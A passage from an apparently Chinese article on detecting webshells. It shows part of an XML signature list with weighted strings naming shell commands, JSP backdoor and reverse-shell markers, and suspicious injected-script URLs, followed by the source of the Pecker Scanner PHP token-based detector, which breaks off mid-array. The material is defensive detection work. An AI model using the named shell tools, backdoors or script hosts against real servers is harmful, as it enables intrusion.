            </ITEM>
            <ITEM>
                <STR>$S3=$S1(S.$S.prot1a,pa,_3);$S4=$S3($S2($S1(robpr.Q_06.rfnO,o0,q4)))</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$Branch=$B_1.".".$B_2.".".$B_3.".".$B_4.".".$B_5.".".$B_6.".".$B_7.".".$B_8.".".$B_9.".".$B_10.".".$B_11.".".$B_12.".".$B_13;</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[type=index.php&mbfile=".$mbfile."&titlenum=".$titlenum]]></STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sun8797.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$Branch_directory_10=getCode(mt_rand(3,5));</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://byc1888.com/skin/ad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/Rvx3Kmv</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$B_d_1.".".$B_d_2.".".$B_d_3.".".$B_d_4.".".$B_d_5.".".$B_d_6</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[type=index.php&caonima=".$caonima_name."&directory=".$Branch_directory]]></STR>
                <NUM>80</NUM>
            </ITEM>
        </SEO>

        <EXT>
            <ITEM>php</ITEM>
            <ITEM>php4</ITEM>
            <ITEM>php5</ITEM>
            <ITEM>inc</ITEM>
        </EXT>
    </language>

    <language>
        <processor>com.alibaba.security.aegis.webshell.checker.impl.DefaultWebShellChecker</processor>
        <threshold>80</threshold>
        <WEBSHELL>
            <ITEM>
                <STR>n1nty</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>request.getParameter("f"))).write(request.getParameter("t").getBytes()</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>request.getParameter("path")</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>request.getRealPath(request.getServletPath())</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>Command Window</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>JSP Manage-System</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>JspSpy</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>net localgroup</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>cmd.exe</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>Jfolder</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>jshell</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>pwnshell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>ServerSocket(</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>jsp File browser</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>/bin/sh</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>Backdoor</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>Runtime.getRuntime()</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>.exec(</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>cmd /c</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>"cmd", "/C"</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>kj021320</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>fuckanquangoutezheng</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>document.openfile.action=\"" + curUri + "&amp;curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&amp;fsAction=saveAs\";\n"</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>javascript:delFile('"+folderReplace(file)+"')</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>rt.exec("cmd.exe")</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>JSP Backdoor Reverse Shell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>"\"" + boundary + "\" is an illegal boundary indicator"</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$Id: TelnetIO.java,v 1.10 1808/02/09 10:22:18 leo Exp $</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>void NN(String s</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>void MM(InputStream is</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>void QQ(String cs</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>else if (Z.equals("H"))</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>else if(Z.equals("H"))</STR>
                <NUM>20</NUM>
            </ITEM>
        </WEBSHELL>
        <EXT>
            <ITEM>jsp</ITEM>
        </EXT>
    </language>

</LEX>

PHP WEBSHELL的检测流程

1. 客户端上报150w次疑似文件发现/日
2. 上报服务端，服务端根据MD5情况进行非重复文件拉取
3. 通过MD5 LIST+文本特征白名单去除一部分误报，这个白名单是安全人员积累添加的，剩下文件: 100w
4. WEBSHELL判定
    1) YES_WEBSHELL/DELETE_WEBSHELL: 2w
    2) NOT_WEBSHELL: 98w
//包括sandbox检测结果

 

11. Syntax And Lexical Analysis In WEBSHELL Detection（基于词法、语法分析的WEBSHELL检测） 

在纯文本WEBSHELL恶意检测中，正则检测比单纯的特征码关键字检测效果更好，但是依然面临大量误报的情况，基于词法、语法分析是另一个很好的思考方向

0x1: 语法语义分析形式

1. 根据php语言扫描编译的实现方式，进行剥离代码、注释
2. 分析变量、函数、字符串、语言结构的分析方式
3. 实现特征字符序列的捕捉方式 

0x2: 代码流程

1. 创建Token映射表 
protected function createTokenMap() 
{
    $tokenMap = array();

    // 256 is the minimum possible token number, as everything below
    // it is an ASCII value
    for ($i = 256; $i < 1000; ++$i) 
    {
        // T_DOUBLE_COLON is equivalent to T_PAAMAYIM_NEKUDOTAYIM
        if (T_DOUBLE_COLON === $i) 
        {
            $tokenMap[$i] = Pecker_Parser::T_PAAMAYIM_NEKUDOTAYIM;
            // T_OPEN_TAG_WITH_ECHO with dropped T_OPEN_TAG results in T_ECHO
        } 
        elseif(T_OPEN_TAG_WITH_ECHO === $i) 
        {
            $tokenMap[$i] = Pecker_Parser::T_ECHO;
            // T_CLOSE_TAG is equivalent to ';'
        } 
        elseif(T_CLOSE_TAG === $i) 
        {
            $tokenMap[$i] = ord(';');
            // and the others can be mapped directly
        } 
        elseif ('UNKNOWN' !== ($name = token_name($i)) && defined($name = 'Pecker_Parser::' . $name) )
        {
            $tokenMap[$i] = constant($name);
        }
    } 
    return $tokenMap;
} 

2. 遍历目标目录，过滤白名单目录，读取文件内容
3. 排除zend加密文件
if (preg_match('/<\?(php)?\s*@Zend;[\r\n|\n]+\d+;/', $code)) 
{
        $this->errMsg = 'Encrypt with Zend optimizer.';
        return false;
}
4. 调用token_get_all()获取目标文件的Token序列
5. 对Token序列进行规范化处理，去掉空格、注释等杂数据
6. 根据Token序列进行风险检测
    1) T_EVAL: 提取出当前整块Token子树
    2) T_FUNCTION: 如果当前为下列敏感API，则提取出当前整块Token子树
        1) exec
        2) system
        3) create_function
        4) passthru
        5) shell_exec
        6) proc_open
        7) popen
        8) copy
        9) curl_exec
        10) parse_ini_file
        11) show_source
        12) assert
        13) file_put_contents
        14) call_user_func_array
        15) call_user_func
        16) preg_replace
        17) include
    3) T_VARIABLE: 动态执行WEBSHELL常用的语法形式
        3.1) 获取前向Token
        3.2) 获取后向Token
    $ntoken = $this->parser->getNextToken($k); 
    $ptoken = $this->parser->getPreToken($k);
    if ($ntoken === '(' && $ptoken != '->' && $ptoken !== '::' && $ptoken !== 'function' && $ptoken !== 'new')
    {
        $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
    }
    4) T_STRING
    5) preg_replace callback代码执行检测
    if (isset($this->function[$token[1]]))
    {
        $ntoken = $this->parser->getNextToken($k);
        $ptoken = $this->parser->getPreToken($k);
        if ($ntoken === '(' && $ptoken != '->' && $ptoken != '::' && $ptoken != 'function')
        {
            if($token[1] == 'preg_replace')
            {
                $strRegex = $this->parser->getNextToken($k+1);
                //检测preg_replace的pattern字符串是否包含e修复符
                if($this->_hasCallback($strRegex))
                {
                $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
                }
            }
            else
            {
                $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
            }
        }
    }
    6) case T_INCLUDE
    7) T_INCLUDE_ONCE:
    8) T_REQUIRE:
    9) T_REQUIRE_ONCE: 检测代码是否尝试包含白名单之外的文件类型，这常见于jpg..文件包含WEBSHELL，白名单包括
        9.1) php
        9.2) inc
        9.3) php5
    10) complex (curly) syntax: 检测是否包含${${..}}这种语法

0x3: 封装后使用方式

class

<?php 
/**
 * Pecker Scanner Lite
 *
 * You may not change or alter any portion of this comment or credits
 * of supporting developers from this source code or any supporting source code
 * which is considered copyrighted (c) material of the original comment or credit authors.
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * The source of this document, reference to PHP-Parser.
 *
 * @copyright       Pecker Scanner http://www.cnxct.com
 * @license         http://www.fsf.org/copyleft/gpl.html GNU public license
 * @author          CFC4N <cfc4n@cnxct.com>
 * @package         Lexer All
 * @version         $Id: PeckerScanner.lite.php 31 2014-05-27 08:09:52Z cfc4n $
 */

class Pecker_Scanner
{
    private $extend = array();
    private $parser;
    private $report;
    private $function;
    private $path;
    private $dropdir = array();

    //input target file path which need to be scan
    function __construct()
    {
        set_time_limit(0);
        define('MAX_STRLEN', 500);    //max length value of hash string

        $config = array( 
            'extend' => array('php','inc','php5'),
            'function' => array('exec','system','create_function','passthru','shell_exec','proc_open','popen','copy','curl_exec','parse_ini_file','show_source','assert','file_put_contents','call_user_func_array','call_user_func','preg_replace','include'),
        );
 
        $this->setExtend($config['extend']);
        $this->setFunction($config['function']);


        $this->parser = new Pecker_Parser(new Pecker_Lexer());
        $this->report = new Pecker_Loger();
        $this->extend['php'] = true;
    }

    /**
     * set expansion name
     * @param array $extend
     */
    public function setExtend(array $extend)
    {
        foreach ($extend as $v)
        {
            $this->extend[trim(trim($v),'.')] = true;
        }
        if (!isset($this->extend['php']))
        {
            $this->extend['php'] = true;
        }
    }
 

    /**
     * set functions of check list
     * @param array $function
     */
    public function setFunction(array $function)
    {
        foreach ($function as $fun)
        {
            $this->function[trim($fun)] = true;
        }
        if(!isset($this->function['eval']))
        {
            $this->function['eval'] = true;
        }
    }
 

    /**
     * scan files
     * @param string $file
     * @return boolean
     */
    public function scanFileContent($file, $fileContent)
    {
        $this->report->setFile($file); 
        $bRS = $this->parser->parse($fileContent);
        if(false === $bRS)
        {
            $this->report->errorLog($this->parser->getErrmsg());
            return false;
        }
        $this->checkTokens($this->parser->getTokens());
    } 
 

    /**
     * check dangerous functions
     * @param array $tokens
     */
    private function checkTokens(array $tokens)
    {
        $i = 0;
        $curly = false;
        $curly_str = '';
        $curly_num = 0;
        //die(var_dump($tokens));
        foreach ($tokens as $k => $token)
        {
            //var_dump($token);
            if (!$curly && is_array($token))
            {
                switch ($token[0])
                {
                    case T_EVAL:
                        $this->report->catchLog($token[1],$token[2],$this->parser->getPieceTokenAll($k)); 
                        break;
                    case T_FUNCTION:
                        if (isset($this->function[$token[1]]))
                        {
                            $this->report->catchLog($token[1],$token[2],$this->parser->getPieceTokenAll($k));
                        }
                        break;
                    case T_VARIABLE:
                        $ntoken = $this->parser->getNextToken($k); 
                        $ptoken = $this->parser->getPreToken($k);
                        if ($ntoken === '(' && $ptoken != '->' && $ptoken !== '::' && $ptoken !== 'function' && $ptoken !== 'new')
                        {
                            $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
                        }
                        elseif ($ntoken === '{' || $ntoken === '[' )
                        {
                            $nt = $this->parser->getVariableToken($k);
                            if ($nt['token'] === '(')
                            {
                                $this->report->catchLog($token[1].$nt['func'], $token[2],$this->parser->getPieceTokenAll($nt['key']+$k));
                            }
                        }
                        break;
                    case T_STRING:
                        if (isset($this->function[$token[1]]))
                        {
                            $ntoken = $this->parser->getNextToken($k);
                            $ptoken = $this->parser->getPreToken($k);
                            if ($ntoken === '(' && $ptoken != '->' && $ptoken != '::' && $ptoken != 'function')
                            {
                                if($token[1] == 'preg_replace')
                                {
                                    $strRegex = $this->parser->getNextToken($k+1);
                                    if($this->_hasCallback($strRegex))
                                    {
                                        $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
                                    }
                                }
                                else
                                {
                                    $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
                                }
                            }
                        }
                        break;
                    case T_INCLUDE:
                    case T_INCLUDE_ONCE:
                    case T_REQUIRE:
                    case T_REQUIRE_ONCE:
                        if (isset($this->function['include']) || isset($this->function['include_once']) || isset($this->function['require']) || isset($this->function['require_once']))
                        {
                            $infile = $this->parser->getFilepathToken($k);
                            $fileinfo = pathinfo($infile);
                            if (!isset($this->extend[$fileinfo['extension']]))
                            {
                                $this->report->catchLog($token[1], $token[2],$this->parser->getPieceTokenAll($k));
                            }
                        }
                        break;
                    default:
                }
            }
            elseif ($curly)
            {
                //Complex (curly) syntax
                if (!is_array($token))
                {
                    if ($token === '{')
                    {
                        $curly_str .= '{';
                        $curly_num ++;
                    }
                    elseif($token === '}')
                    {
                        $curly_str .= '}';
                        $curly_num --;
                    }
                }
                else
                {
                    $curly_str .= $token[1];
                }
                if ($curly_num == 0)
                {
                    $curly = false;
                    $this->report->catchLog($curly_str, 0,$this->parser->getPieceTokenAll($k));
                }
            }
            elseif($token === '$')
            {
                /**
                 * Zend_language_scanner.c : yy56 、yy61
                 *
                 $nt = $this->parser->getNextToken($k);
                 switch ($nt)
                 {
                 case '$':
                 break;
                 case '\\':
                 break;
                 case '{':
                 break;
                 default:
                 }
                 */
                $nt = $this->parser->getVariableToken($k);
                if ($nt['token'] === '{')
                {
                    $curly = true;
                    $curly_str = '$';
                    $curly_num = 0;
                }
            }
        }
    }

    /**
     * get results
     * @return Ambigous <multitype:, multitype:boolean string multitype: >
     */
    public function getReport()
    {
        return $this->report->getReport();
    }

    /**
     * grep modifier 'e' in regex string
     * @param string $str
     * @return boolean
     */
    private function _hasCallback($str)
    {
        $str = trim($str);
        if (substr($str,0,1) == '$')
        {
            return true;
        }
        $a = subStr(subStr($str,1),0,-1);
        $start_delimiter = $end_delimiter = $a{0};
        $strabc = '([{< )]}>';
        if (false !== ($num = strpos($strabc,$start_delimiter)))
        {
            $end_delimiter = $strabc{$num+5};
        }
        if (false !== ($num1 = strrpos($str,$end_delimiter)))
        {
            $modifiers = substr($str,$num1+1);
            if (false !== strpos($modifiers,'e'))
            {
                return true;
            }
        }
        return false;
    }
}


class Pecker_Lexer
{
    protected $code;
    protected $tokens;
    protected $pos;
    protected $line;
    protected $errMsg;
    protected $dropTokens;

    public function __construct() {

        $this->tokenMap = $this->createTokenMap();
        // map of tokens to drop while lexing (the map is only used for isset lookup,
        // that's why the value is simply set to 1; the value is never actually used.)
        $this->dropTokens = array_fill_keys(array(T_WHITESPACE, T_OPEN_TAG), 1);
    }

    /**
     * Initializes the lexer for lexing the provided source code.
     *
     * @param string $code The source code to lex
     *
     * @throws PHPParser_Error on lexing errors (unterminated comment or unexpected character)
     */
    public function startLexing($code)
    {
        if (preg_match('/<\?(php)?\s*@Zend;[\r\n|\n]+\d+;/', $code)) {
            $this->errMsg = 'Encrypt with Zend optimizer.';
            return false;
        }
        $this->resetErrors();
        $this->tokens = token_get_all($code);
        $this->code = $code;
        $this->pos  = -1;
        $this->line =  1;
        return $this->checkError();
    }

    protected function resetErrors() {
        // clear error_get_last() by forcing an undefined variable error
        @$undefinedVariable;
    }

    protected function checkError()
    {
        $error = error_get_last();

        if (preg_match('~^Unterminated comment starting line ([0-9]+)$~',$error['message'], $matches))
        {
            $this->errMsg = 'Unterminated comment at line '.$matches[1];
            return false;
        }

        if (preg_match('~^Unexpected character in input:  \'(.)\' \(ASCII=([0-9]+)\)~s',$error['message'], $matches))
        {
            $this->errMsg = sprintf('Unexpected character "%s" (ASCII %d)', $matches[1], $matches[2]);
            return false;
        }

        // PHP cuts error message after null byte, so need special case
        if (preg_match('~^Unexpected character in input:  \'$~', $error['message']))
        {
            return false;
        }

        //@todo  对其他类型语法错误检测
        return true;
    }

    public function getError()
    {
        return $this->errMsg;
    }


    /**
     * Fetches the next token.
     *
     * @param mixed $value           Variable to store token content in
     * @param mixed $startAttributes Variable to store start attributes in
     * @param mixed $endAttributes   Variable to store end attributes in
     *
     * @return int Token id
     */
    public function getNextToken(&$value = null, &$startAttributes = null, &$endAttributes = null) {
        $startAttributes = array();
        $endAttributes   = array();

        while (isset($this->tokens[++$this->pos])) {
            $token = $this->tokens[$this->pos];

            if (is_string($token)) {
                $startAttributes['startLine'] = $this->line;
                $endAttributes['endLine']     = $this->line;

                // bug in token_get_all
                if ('b"' === $token) {
                    $value = 'b"';
                    return ord('"');
                } else {
                    $value = $token;
                    return ord($token);
                }
            } else {
                $this->line += substr_count($token[1], "\n");

                if (T_COMMENT === $token[0]) {
                    //                     $startAttributes['comments'][] = new PHPParser_Comment($token[1], $token[2]);
                } elseif (T_DOC_COMMENT === $token[0]) {
                    //                     $startAttributes['comments'][] = new PHPParser_Comment_Doc($token[1], $token[2]);
                } elseif (!isset($this->dropTokens[$token[0]])) {
                    $value = $token[1];
                    $startAttributes['startLine'] = $token[2];
                    $endAttributes['endLine']     = $this->line;

                    return $this->tokenMap[$token[0]];
                }
            }
        }

        $startAttributes['startLine'] = $this->line;

        // 0 is the EOF token
        return 0;
    }

    /**
     * Creates the token map.
     *
     * The token map maps the PHP internal token identifiers
     * to the identifiers used by the Parser. Additionally it
     * maps T_OPEN_TAG_WITH_ECHO to T_ECHO and T_CLOSE_TAG to ';'.
     *
     * @return array The token map
     */
    protected function createTokenMap() 
    {
        $tokenMap = array();

        // 256 is the minimum possible token number, as everything below
        // it is an ASCII value
        for ($i = 256; $i < 1000; ++$i) 
        {
            // T_DOUBLE_COLON is equivalent to T_PAAMAYIM_NEKUDOTAYIM
            if (T_DOUBLE_COLON === $i) 
            {
                $tokenMap[$i] = Pecker_Parser::T_PAAMAYIM_NEKUDOTAYIM;
                // T_OPEN_TAG_WITH_ECHO with dropped T_OPEN_TAG results in T_ECHO
            } 
            elseif(T_OPEN_TAG_WITH_ECHO === $i) 
            {
                $tokenMap[$i] = Pecker_Parser::T_ECHO;
                // T_CLOSE_TAG is equivalent to ';'
            } 
            elseif(T_CLOSE_TAG === $i) 
            {
                $tokenMap[$i] = ord(';');
                // and the others can be mapped directly
            } 
            elseif ('UNKNOWN' !== ($name = token_name($i)) && defined($name = 'Pecker_Parser::' . $name) )
            {
                $tokenMap[$i] = constant($name);
            }
        }

        return $tokenMap;
    }

    public function getTokens()
    {
        return $this->tokens;
    }
}


class Pecker_Parser
{
    const TOKEN_NONE    = -1;
    const TOKEN_INVALID = 151;

    const TOKEN_MAP_SIZE = 386;

    const YYLAST       = 1008;
    const YY2TBLSTATE  = 316;
    const YYGLAST      = 444;
    const YYNLSTATES   = 531;
    const YYUNEXPECTED = 32767;
    const YYDEFAULT    = -32766;

    // {{{ Tokens
    const YYERRTOK = 256;
    const T_INCLUDE = 257;
    const T_INCLUDE_ONCE = 258;
    const T_EVAL = 259;
    const T_REQUIRE = 260;
    const T_REQUIRE_ONCE = 261;
    const T_LOGICAL_OR = 262;
    const T_LOGICAL_XOR = 263;
    const T_LOGICAL_AND = 264;
    const T_PRINT = 265;
    const T_YIELD = 266;
    const T_PLUS_EQUAL = 267;
    const T_MINUS_EQUAL = 268;
    const T_MUL_EQUAL = 269;
    const T_DIV_EQUAL = 270;
    const T_CONCAT_EQUAL = 271;
    const T_MOD_EQUAL = 272;
    const T_AND_EQUAL = 273;
    const T_OR_EQUAL = 274;
    const T_XOR_EQUAL = 275;
    const T_SL_EQUAL = 276;
    const T_SR_EQUAL = 277;
    const T_BOOLEAN_OR = 278;
    const T_BOOLEAN_AND = 279;
    const T_IS_EQUAL = 280;
    const T_IS_NOT_EQUAL = 281;
    const T_IS_IDENTICAL = 282;
    const T_IS_NOT_IDENTICAL = 283;
    const T_IS_SMALLER_OR_EQUAL = 284;
    const T_IS_GREATER_OR_EQUAL = 285;
    const T_SL = 286;
    const T_SR = 287;
    const T_INSTANCEOF = 288;
    const T_INC = 289;
    const T_DEC = 290;
    const T_INT_CAST = 291;
    const T_DOUBLE_CAST = 292;
    const T_STRING_CAST = 293;
    const T_ARRAY_CAST = 294;
    const T_OBJECT_CAST = 295;
    const T_BOOL_CAST = 296;
    const T_UNSET_CAST = 297;
    const T_NEW = 298;
    const T_CLONE = 299;
    const T_EXIT = 300;
    const T_IF = 301;
    const T_ELSEIF = 302;
    const T_ELSE = 303;
    const T_ENDIF = 304;
    const T_LNUMBER = 305;
    const T_DNUMBER = 306;
    const T_STRING = 307;
    const T_STRING_VARNAME = 308;
    const T_VARIABLE = 309;
    const T_NUM_STRING = 310;
    const T_INLINE_HTML = 311;
    const T_CHARACTER = 312;
    const T_BAD_CHARACTER = 313;
    const T_ENCAPSED_AND_WHITESPACE = 314;
    const T_CONSTANT_ENCAPSED_STRING = 315;
    const T_ECHO = 316;
    const T_DO = 317;
    const T_WHILE = 318;
    const T_ENDWHILE = 319;
    const T_FOR = 320;
    const T_ENDFOR = 321;
    const T_FOREACH = 322;
    const T_ENDFOREACH = 323;
    const T_DECLARE = 324;
    const T_ENDDECLARE = 325;
    const T_AS = 326;
    const T_SWITCH = 327;
    const T_ENDSWITCH = 328;
    const T_CASE = 329;
    const T_DEFAULT = 330;
    const T_BREAK = 331;
    const T_CONTINUE = 332;
    const T_GOTO = 333;
    const T_FUNCTION = 334;
    const T_CONST = 335;
    const T_RETURN = 336;
    const T_TRY = 337;
    const T_CATCH = 338;
    const T_FINALLY = 339;
    const T_THROW = 340;
    const T_USE = 341;
    const T_INSTEADOF = 342;
    const T_GLOBAL = 343;
    const T_STATIC = 344;
    const T_ABSTRACT = 345;
    const T_FINAL = 346;
    const T_PRIVATE = 347;
    const T_PROTECTED = 348;
    const T_PUBLIC = 349;
    const T_VAR = 350;
    const T_UNSET = 351;
    const T_ISSET = 352;
    const T_EMPTY = 353;
    const T_HALT_COMPILER = 354;
    const T_CLASS = 355;
    const T_TRAIT = 356;
    const T_INTERFACE = 357;
    const T_EXTENDS = 358;
    const T_IMPLEMENTS = 359;
    const T_OBJECT_OPERATOR = 360;
    const T_DOUBLE_ARROW = 361;
    const T_LIST = 362;
    const T_ARRAY = 363;
    const T_CALLABLE = 364;
    const T_CLASS_C = 365;
    const T_TRAIT_C = 366;
    const T_METHOD_C = 367;
    const T_FUNC_C = 368;
    const T_LINE = 369;
    const T_FILE = 370;
    const T_COMMENT = 371;
    const T_DOC_COMMENT = 372;
    const T_OPEN_TAG = 373;
    const T_OPEN_TAG_WITH_ECHO = 374;
    const T_CLOSE_TAG = 375;
    const T_WHITESPACE = 376;
    const T_START_HEREDOC = 377;
    const T_END_HEREDOC = 378;
    const T_DOLLAR_OPEN_CURLY_BRACES = 379;
    const T_CURLY_OPEN = 380;
    const T_PAAMAYIM_NEKUDOTAYIM = 381;
    const T_NAMESPACE = 382;
    const T_NS_C = 383;
    const T_DIR = 384;
    const T_NS_SEPARATOR = 385;
    // }}}

    /* @var array Map of token ids to their respective names */
    protected static $terminals = array(
    "EOF",
    "error",
    "T_INCLUDE",
    "T_INCLUDE_ONCE",
    "T_EVAL",
    "T_REQUIRE",
    "T_REQUIRE_ONCE",
    "','",
    "T_LOGICAL_OR",
    "T_LOGICAL_XOR",
    "T_LOGICAL_AND",
    "T_PRINT",
    "T_YIELD",
    "'='",
    "T_PLUS_EQUAL",
    "T_MINUS_EQUAL",
    "T_MUL_EQUAL",
    "T_DIV_EQUAL",
    "T_CONCAT_EQUAL",
    "T_MOD_EQUAL",
    "T_AND_EQUAL",
    "T_OR_EQUAL",
    "T_XOR_EQUAL",
    "T_SL_EQUAL",
    "T_SR_EQUAL",
    "'?'",
    "':'",
    "T_BOOLEAN_OR",
    "T_BOOLEAN_AND",
    "'|'",
    "'^'",
    "'&'",
    "T_IS_EQUAL",
    "T_IS_NOT_EQUAL",
    "T_IS_IDENTICAL",
    "T_IS_NOT_IDENTICAL",
    "'<'",
    "T_IS_SMALLER_OR_EQUAL",
    "'>'",
    "T_IS_GREATER_OR_EQUAL",
    "T_SL",
    "T_SR",
    "'+'",
    "'-'",
    "'.'",
    "'*'",
    "'/'",
    "'%'",
    "'!'",
    "T_INSTANCEOF",
    "'~'",
    "T_INC",
    "T_DEC",
    "T_INT_CAST",
    "T_DOUBLE_CAST",
    "T_STRING_CAST",
    "T_ARRAY_CAST",
    "T_OBJECT_CAST",
    "T_BOOL_CAST",
    "T_UNSET_CAST",
    "'@'",
    "'['",
    "T_NEW",
    "T_CLONE",
    "T_EXIT",
    "T_IF",
    "T_ELSEIF",
    "T_ELSE",
    "T_ENDIF",
    "T_LNUMBER",
    "T_DNUMBER",
    "T_STRING",
    "T_STRING_VARNAME",
    "T_VARIABLE",
    "T_NUM_STRING",
    "T_INLINE_HTML",
    "T_ENCAPSED_AND_WHITESPACE",
    "T_CONSTANT_ENCAPSED_STRING",
    "T_ECHO",
    "T_DO",
    "T_WHILE",
    "T_ENDWHILE",
    "T_FOR",
    "T_ENDFOR",
    "T_FOREACH",
    "T_ENDFOREACH",
    "T_DECLARE",
    "T_ENDDECLARE",
    "T_AS",
    "T_SWITCH",
    "T_ENDSWITCH",
    "T_CASE",
    "T_DEFAULT",
    "T_BREAK",
    "T_CONTINUE",
    "T_GOTO",
    "T_FUNCTION",
    "T_CONST",
    "T_RETURN",
    "T_TRY",
    "T_CATCH",
    "T_FINALLY",
    "T_THROW",
    "T_USE",
    "T_INSTEADOF",
    "T_GLOBAL",
    "T_STATIC",
    "T_ABSTRACT",
    "T_FINAL",
    "T_PRIVATE",
    "T_PROTECTED",
    "T_PUBLIC",
    "T_VAR",
    "T_UNSET",
    "T_ISSET",
    "T_EMPTY",
    "T_HALT_COMPILER",
    "T_CLASS",
    "T_TRAIT",
    "T_INTERFACE",
    "T_EXTENDS",
    "T_IMPLEMENTS",
    "T_OBJECT_OPERATOR",
    "T_DOUBLE_ARROW",
    "T_LIST",
    "T_ARRAY",
    "T_CALLABLE",
    "T_CLASS_C",
    "T_TRAIT_C",
    "T_METHOD_C",
    "T_FUNC_C",
    "T_LINE",
    "T_FILE",
    "T_START_HEREDOC",
    "T_END_HEREDOC",
    "T_DOLLAR_OPEN_CURLY_BRACES",
    "T_CURLY_OPEN",
    "T_PAAMAYIM_NEKUDOTAYIM",
    "T_NAMESPACE",
    "T_NS_C",
    "T_DIR",
    "T_NS_SEPARATOR",
    "';'",
    "'{'",
    "'}'",
    "'('",
    "')'",
    "'$'",
    "'`'",
    "']'",
    "'\"'"
    , "???"
    );

    /* @var array Map which translates lexer tokens to internal tokens */
    protected static $translate = array(
    0,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,   48,  150,  151,  147,   47,   31,  151,
    145,  146,   45,   42,    7,   43,   44,   46,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,   26,  142,
    36,   13,   38,   25,   60,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,   61,  151,  149,   30,  151,  148,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  143,   29,  144,   50,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,  151,  151,  151,  151,
    151,  151,  151,  151,  151,  151,    1,    2,    3,    4,
    5,    6,    8,    9,   10,   11,   12,   14,   15,   16,
    17,   18,   19,   20,   21,   22,   23,   24,   27,   28,
    32,   33,   34,   35,   37,   39,   40,   41,   49,   51,
    52,   53,   54,   55,   56,   57,   58,   59,   62,   63,
    64,   65,   66,   67,   68,   69,   70,   71,   72,   73,
    74,   75,  151,  151,   76,   77,   78,   79,   80,   81,
    82,   83,   84,   85,   86,   87,   88,   89,   90,   91,
    92,   93,   94,   95,   96,   97,   98,   99,  100,  101,
    102,  103,  104,  105,  106,  107,  108,  109,  110,  111,
    112,  113,  114,  115,  116,  117,  118,  119,  120,  121,
